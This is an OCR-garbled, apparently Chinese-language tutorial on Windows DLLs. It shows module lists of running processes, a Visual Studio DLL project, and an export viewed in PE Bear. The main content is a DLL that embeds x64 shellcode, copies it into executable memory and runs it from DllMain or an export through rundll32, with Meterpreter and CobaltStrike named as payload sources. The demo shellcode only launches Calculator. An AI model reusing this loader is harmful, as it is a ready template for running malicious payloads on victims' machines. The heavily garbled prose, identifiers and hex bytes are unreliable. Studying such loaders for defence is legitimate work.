DLL

[0 Windows [TTTTIEXE [1 DLL 111 PE [I1111] 2 OTITIITIMe$EEg

[TTTThitdlLdITEerm eI3Adl [(kernelbase.dll [TTTTTTTTTTTTTIITTIIIIIT]

[(IITIIT] explorer.exe []firefox.exe [I1] DLLOTITIT] kernel32.dI[TT] DLL [(TTTTIITIIIIIIIT DLL (TTTITIIITIT

== Explorer.exe (10904) Properties - O X

General Statistics Performance Threads Token Modules Memory Environment Handles GPU Disk and Network Comment

Name a Base address Size Description

iertutil.dll 0x7ffb71220000 2.69 MB  Run time utility for Internet Ex...
imagehlp.dil 0x7ffb7f330000 124 kB Windows NT Image Helper
imageres.dll 0xb270000 12 kB Windows Image Resource
imageres.dll Oxd620000 12 kB Windows Image Resource
imageres.dll.mun Ox141c0000 22,27 MB  Windows Image Resource
imageres.dll.mun 036230000 22.27 MB  Windows Image Resource
imapi2.dIl 0x7ffb3d440000 540 kB Image Mastering APIv2
imm32.dll Ox7ffb7f2f0000 196 kB Multi-User Windows IMM32 AP...
InputHost.dll 0x7ffb5f0c0000 2 MB InputHost I
inputstat.dat 0x2f90000 8 kB

InputSwitch.dll 0x7ffb538c0000 832 kB Microsoft Windows Input Switc...
InputSwitch.dll.mui 0xa720000 12 kB Microsoft Windows Input Switc...
IFHLFAFLDLL 0x7ffb7c890000 180 kB IP Helper API

IrisService.dll 0x7ffb468d0000 868 kB

kernel.appcore.dll 0x7ffb7cd80000 96 kB AppModel API Host

kernel32.dll 0x7ffb7fd70000 776 kB Windows NT BASE API Client ...
kernel32.dll.mui Oxdd70000 1 MB  Windows NT BASE AFI Client ...
KernelBase.dIl 0x7ffb7e3a0000 3.64 MB  Windows NT BASE API Client ...
KernelBase.dll. mui 0x15f90000 1.29 MB  Windows NT BASE AFI Client ...
LanguageOverlay... 0x7ffbees40000 272 kB Provides helper APIs for mana...
LicenseManagerA... 0x7ffbe2de0000 124 kB "LicenseManagerApi. DYMLINK"
linkinfo.dll 0x7ffb73c10000 52 kB Windows Volume Tracking
locale.nls 0x1310000 824 kB

|_intl.nls Oxdb0000 12 kB

I_intl.nls 0x10d0000 12 kB

mfplat.dll 0x7ffb77490000 1.8 MB Media Foundation Platform DLL
Microsoft.ULXaml... 0x7ffb46f70000 6.04 MB  Microsoft.ULXaml.dll

Close
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& firefox.exe (7612) Properties

General Statistics Performance Threads Token Modules Memory Environment Handles GPU Disk and Metwork Comment

MName Base address Size Description

FWPUCLNT.DLL 0x7ffb76480000 528 kB FWP/IPsec User-Mode API

fwpuclnt.dil. mui 0x22bofefo000 144 kB FWP/IPsec User-Maode API

gdi32.dll 0x7ffb7fd40000 164 kB GDI Client DLL

gdi32full.dll 0x7ffb7e020000 1.1 MB GDI Client DLL

gpapi.dll 0x7ffb7d250000 152 kB Group Policy Client API

iertutil.dll 0x7ffb71e20000 2.69 MB Run time utility for Internet Bx...

imagehlp.dll Ox7ffb7f330000 124 kB Windows NT Image Helper

imm32.dll 0x7ffb7f2f0000 196 kB Multi-User Windows IMM32 AP...

inputstat. dat 0x22b173d0000 8 kB

IFHLPAPLDLL 0x7ffb7c890000 180 kB IP Helper API

iphlpapi.dil.mui 0x22b33b90000 4 kB IP Helper API

kernel.appcore.dll 0x7ffb7cd80000 96 kB AppModel AFT Host

kernel32.dll 0x7ffb7fd70000 776 kB Windows NT BASE API Client ...

kernel32.dll.mui 0x22b0ef20000 1 MB Windows NT BASE API Client ...

KernelBase.dll 0x7ffb7e3a0000 3.64 MB  Windows NT BASE API Client ...

KernelBase.dll.mui 0x22b32b00000 1.29 MB  Windows NT BASE API Client ...

ktmw32.dll 0x7ffb796e0000 44 kB Windows KTM Win32 Client DLL

Igpllibs.dil 0x7ffbee7a0d000 52 kB

linkinfo.dll 0x7ffb73c10000 52 kB Windows Volume Tracking

locale.nls 0x22b0c4cO000 824 kB

I_intl.nls 0x%22b0c340000 12 kB

I_intl.nls 0%22b0c3c0000 12 kB

MMDevAPLdIl 0x7ffb73c60000 628 kB MMDevice API

MMDevAPLdIL.mui 0%22b0fe90000 4 kB MMDevice API

mozglue.dll Ox7ffb2d7c0000 736 kB

msasnl.dll 0x7ffb7dal0000 72 kB ASN.1 Runtime APIs

mscms.dll 0x7ffbeads0000 732 kB Microsoft Color Matching Syste...

Close

(ITDLL OWind
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(1] Visual Studio [I1T] Dyramic-Link Library [1T]
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Create a new project

arch for templates (Alt+5S)

Bece nt pl'OJECt templates C All platforms All project types
BN Console App (NET Framework) Ciri TSR Lm CoEE

Windows Desktop Wizard

E¥ Console App Create your own Windows app using a wizard.

C++ Windows Desktop Console Library

Windows Desktop Application

A project for an application with a graphical user interface that runs on Windows.

Windows Desktop

Dynamic-Link Library (DLL)

Build a .dll that can be shared between multiple running Windows apps.
C++ Window Li

Static Library

Build a .lib that can be packaged inside other Windows executables.
C++ Windows Library

Shared Items Project

A Shared ltems project is used for sharing files between multiple projects.

C++ Windows Android 105 Linux Desktop Console

[ DLL [TITTTITIT]

#include "pch. h"

BOOL APIENTRY D1lMain( HMODULE hModule,
DWORD ul reason for call,
LPVOID lpReserved

switch (ul reason for call)

{

case DLL PROCESS ATTACH:

case DLL THREAD ATTACH:

case DLL THREAD DETACH:

case DLL PROCESS DETACH:
break;

}

return TRUE;
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#include "pch. h"

#include "windows. h"

#include "stdlib. h"

extern "C"  declspec(dllexport) void messagebox()

{
MessageBoxA(NULL, "Export Function is invoked", "Export", MB OK);

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul reason for call,
LPVOID lpReserved

switch (ul reason for call)

{

case DLL PROCESS ATTACH:
MessageBoxA(NULL, "Loaded!", "ATTACH", MB OK);
break;

case DLL THREAD ATTACH:

case DLL THREAD DETACH:

case DLL PROCESS DETACH:
break;

}

return TRUE;

[ITTTT] PE Bear [TTITTITTITT] messagebox [TT1T]



Eile Settings View Compare |[nfo

~ [ dilcpp.dil Xl 8 8 0 #
DOS Header ? 012345678 9 ABCTDTETF 0123456768 9ABCDET
. DOS stub TAD 48 89 5C 24 08 48 89 74 24 10 57 48 83 EC 20 49
h NT H_eaders 780 8B FS 8B DA 48 8B F1 83 FA 01 75 05 E8 9B 01 00
Signature 7c0 00 4C 8B C7 8B D3 48 8B CE 48 8B 5C 24 30 48 8B
File Header 7D0 74 24 38 48 83 C4 20 SF ES BF FE FF FF CC CC CC
Optional Header TE0 40 53 48 83 EC 20 48 8B D9 33 C9 FF 15 2F 0C 00
S_ection Headers 7F0 00 48 8B CB FF 15 56 OC 00 00 FF 15 28 0C 00 00
M SECtIIEJHS ann 48 AR CR BRA 09 04 00 OO0 48 B3 C4 20 58 48 FF 25 _ __ _ _ i3
v .;e;dEp —7A0 Disasm: .text General DOS Hdr Rich Hdr File Hdr Optional Hdr Section Hdrs = Exports = Imports = R P
&% rdata :
'ﬁ_ data Offset Name Value Meaning
& pdata 1cCC Name 2872 dllepp.dil
: :Z’ICOC 1CD0 Base 1
1CD4 NumberOffunct... 1
1CD8 MNumberCOfNames 1
1CDC AddressOfFunct... 28E8
1CEO AddressOfNames 28EC
1CE4 AddressOfNam... 28F0
Exported Functions [ 1 entry |
Offset Ordinal Function RVA MName RVA Name Forwarder
1CE8 1 1000 28FD messagebox
=
g

[DIEMHATNTOLIIShellcode LPRALIPHATPIMEN [TT11] Meterpreter [] CobaltStrike [] Shellcode [T1T
DLL [117 Shellcode[TTITITIO Btaah CHHETHEE | code[]

[€RIEEXport [talc_dlimain [[TITI1Tcalc_export [ITITIIIIIIT] rundli32 [IITKaShitiaade 1] DI
#include "pch. h"
#include "windows. h"

#include "stdlib. h"

unsigned char shellcode]]
Oxfc, 0x48, 0x83, 0Oxed, 0Oxf0O, 0Oxe8, 0xcO, Ox00, Ox00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, Oxd2, 0Ox65, 0x48, O0x8b, 0x52,

I
—~

0x60, 0x48, Ox8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
0x50, 0x48, 0Ox0f, Oxb7, 0x4a, Ox4a, 0x4d, 0x31, 0Oxc9, 0Ox48, 0x31, 0xcO,
Oxac, 0x3c, Ox61l, 0Ox7c, 0x02, 0x2c, 0x20, 0x41, Oxcl, Oxc9, 0x0d, 0x41,
0x01, Oxcl, Oxe2, Oxed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
0x42, 0x3c, 0x48, 0x01, OxdO, 0Ox8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0OxcO, 0x74, 0x67, 0x48, 0x01, 0xdO, Ox50, Ox8b, 0x48, 0x18, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0OxdO, 0Oxe3, 0x56, 0x48, Oxff, 0Oxc9, 0x41,
Ox8b, 0x34, 0x88, 0x48, 0x01, 0Oxd6, 0O0x4d, 0x31, 0Oxc9, 0x48, 0x31, 0xcO,
Oxac, 0x41, 0Oxcl, 0Oxc9, 0x0d, 0x41, 0Ox01, Oxcl, 0x38, 0xe0, 0x75, Oxfl,
Ox4c, 0x03, 0Ox4c, 0x24, 0x08, 0x45, 0x39, 0xdl, 0x75, 0Oxd8, 0x58, 0x44,
0x8b, 0x40, 0x24, 0x49, 0x01, 0xdO, 0x66, 0x41, Ox8b, 0Ox0c, 0x48, 0x44,
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0x8b, 0x40, Oxlc, 0x49, 0x01, OxdO, 0Ox41, 0Ox8b, 0x04, Ox88, 0x48, 0x01,
0xdo, 0x41, 0x58, 0x41, 0Ox58, 0Ox5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0Ox5a, 0x48, 0x83, 0Oxec, 0x20, 0x41, 0x52, Oxff, Oxe0, 0x58, 0x41,
0x59, 0Ox5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, Oxff, Oxff, Oxff, 0Ox5d, 0x48,
Oxba, 0x01, 0x00, 0x00, O0x00, 0x00, 0x00, O0x00, 0x00, 0x48, 0x8d, 0x8d,
0x01, 0x01, Ox00, O0x00, 0x41, Oxba, 0x31, 0x8b, 0Ox6f, O0x87, Oxff, 0Oxd5,
Oxbb, 0Oxf0, Oxb5, 0xa2, 0x56, 0x41, Oxba, 0Oxa6, 0x95, 0xbd, 0x9d, Oxff,
0xd5, 0x48, 0x83, 0Oxc4, 0x28, 0x3c, 0x06, 0x7c, Ox0Oa, 0x80, Oxfb, Oxeo,
0x75, 0x05, Oxbb, 0x47, 0x13, 0x72, 0Ox6f, 0Ox6a, 0x00, 0x59, 0x41, 0x89,
Oxda, Oxff, Oxd5, 0x63, 0x61l, 0Ox6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
b

extern "C"  declspec(dllexport) void calc export()

{
int length = sizeof(shellcode);
void * exec = VirtualAlloc(0©, length, MEM COMMIT, PAGE EXECUTE READWRITE);
Rt1MoveMemory( exec, shellcode, length);
((void(*) ()) exec)();

void calc dllmain()

{
int length = sizeof(shellcode);
void* exec = VirtualAlloc(0O, length, MEM COMMIT, PAGE EXECUTE READWRITE);
RtlMoveMemory( exec, shellcode, length);
HANDLE th = CreateThread(®, 0, (LPTHREAD START ROUTINE)exec, 0, 0, 0);
}

BOOL APIENTRY D11Main(HMODULE hModule,
DWORD ul reason for call,
LPVOID lpReserved

switch (ul reason for call)

{



case DLL PROCESS ATTACH:
calc_dllmain();
break;

case DLL THREAD ATTACH:

case DLL THREAD DETACH:

case DLL PROCESS DETACH:

break;
}
return TRUE;
}
(M rundll32 [TTT] calc_export [JTTTITIT] 2 [(ITTIT] DlIMain 1] Shellcode [JTTTTTIITTITITIT] Shellcode [IT]

D:\tooling\dllcpp\x64\Release>rundll32 dllcpp.dll, calc_export

D:\tooling\dllcpp\x64\Release>

B Calculator

3 Bl Calculator

= Standard

DLL

(I DLL [(idvéidHiders i

VT AT e Ed0rels ST T



https://raven-medicine.com/uploads/images/gallery/2023-06/513gLqOxVBGglsc8-image.png

#include <iostream>

#include <windows. h>

typedef void (*calc_export)();

int main()

{
HMODULE hModule = LoadLibraryA("D: \\tooling\\dllcpp\\x64\\Release\\dllcpp. dll");
calc _export calc ptr=(calc_export)GetProcAddress(hModule, "calc export");

calc ptr();

Microsoft Visual Studio Debu

D:\tooling\dll_load\x6U4\Release\dll_load.exe (process 18504) exited with code 0.
Press any key to close this window

Calculator

Standard

[ DLIGetModuléHandle API [TTT] DLL 1111

#include <iostream>

#include <windows. h>

typedef int (WINAPI* MessageBoxAType) (

HWND hWnd,
LPCSTR lpText,
LPCSTR lpCaption,
UINT uType

);

int main()

{
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HMODULE hModule = GetModuleHandleA("user32.dl1");
if (hModule ! = NULL)

{
MessageBoxAType msg ptr = (MessageBoxAType)GetProcAddress(hModule, "MessageBoxA");
if (msg ptr != NULL)
{
msg ptr(NULL, "Dler Security 2022", "Message", MB OK);
}
else
{
std:: cout << "Failed to locate the function." << std::endl;
}
}
else
{
std:: cout << "Failed to load the DLL." << std::endl;
}
}
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